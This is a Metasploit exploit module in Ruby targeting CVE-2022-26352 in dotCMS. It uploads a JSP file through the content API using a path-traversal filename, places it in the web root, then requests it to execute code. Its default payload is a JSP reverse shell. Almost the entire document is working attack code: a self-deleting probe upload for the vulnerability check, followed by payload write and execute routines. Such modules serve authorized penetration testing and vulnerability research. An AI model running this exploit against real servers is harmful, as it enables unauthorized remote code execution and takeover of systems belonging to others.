## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'DotCMS RCE via Arbitrary File Upload.', 'Description' => %q{ When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the filename passed in via the multipart request header and thus does not sanitize the temp file's name. This allows a specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content) that get written outside of the dotCMS temp directory. In the case of this exploit, an attacker can upload a special .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution. }, 'Author' => [ 'Shubham Shah', # Discovery and analysis 'Hussein Daher', # Discovery and analysis 'jheysel-r7' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2022-26352'], ['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/'] ], 'Privileged' => false, 'Platform' => %w[linux win], 'Targets' => [ [ 'Java Linux', { 'Arch' => ARCH_JAVA, 'Platform' => 'linux' } ], [ 'Java Windows', { 'Arch' => ARCH_JAVA, 'Platform' => 'win' } ] ], 'DisclosureDate' => '2022-05-03', 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true, 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ Opt::RPORT(8443), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check test_content = Rex::Text.rand_text_alpha(10) test_file = "#{test_content}.jsp" test_path = "../../#{test_file}" uuid = Faker::Internet.uuid jsp = <<~EOS <%@ page import=\"java.io.File\" %> <% File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}"); jsp.delete(); %> #{uuid} EOS vars_form_data = [ { 'name' => 'name', 'data' => jsp, 'encoding' => nil, 'filename' => test_path, 'mime_type' => 'text/plain' } ] send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/api/content/'), 'vars_form_data' => vars_form_data ) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, test_file.to_s) ) if res && res.body.include?(uuid) return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def write_jsp_payload jsp_path = "../../#{jsp_filename}" print_status('Writing JSP payload') vars_form_data = [ { 'name' => 'name', 'data' => payload.encoded, 'encoding' => nil, 'filename' => jsp_path, 'mime_type' => 'text/plain' } ] res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/api/content/'), 'vars_form_data' => vars_form_data ) unless res&.code == 500 fail_with(Failure::NotVulnerable, 'Failed to write JSP payload') end register_file_for_cleanup("../webapps/ROOT/#{jsp_filename}") print_good('Successfully wrote JSP payload') end def execute_jsp_payload jsp_uri = normalize_uri(target_uri.path, jsp_filename) print_status('Executing JSP payload') res = send_request_cgi( 'method' => 'GET', 'uri' => jsp_uri ) unless res&.code == 200 fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload') end print_good('Successfully executed JSP payload') end def exploit write_jsp_payload execute_jsp_payload end def jsp_filename @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp" end end
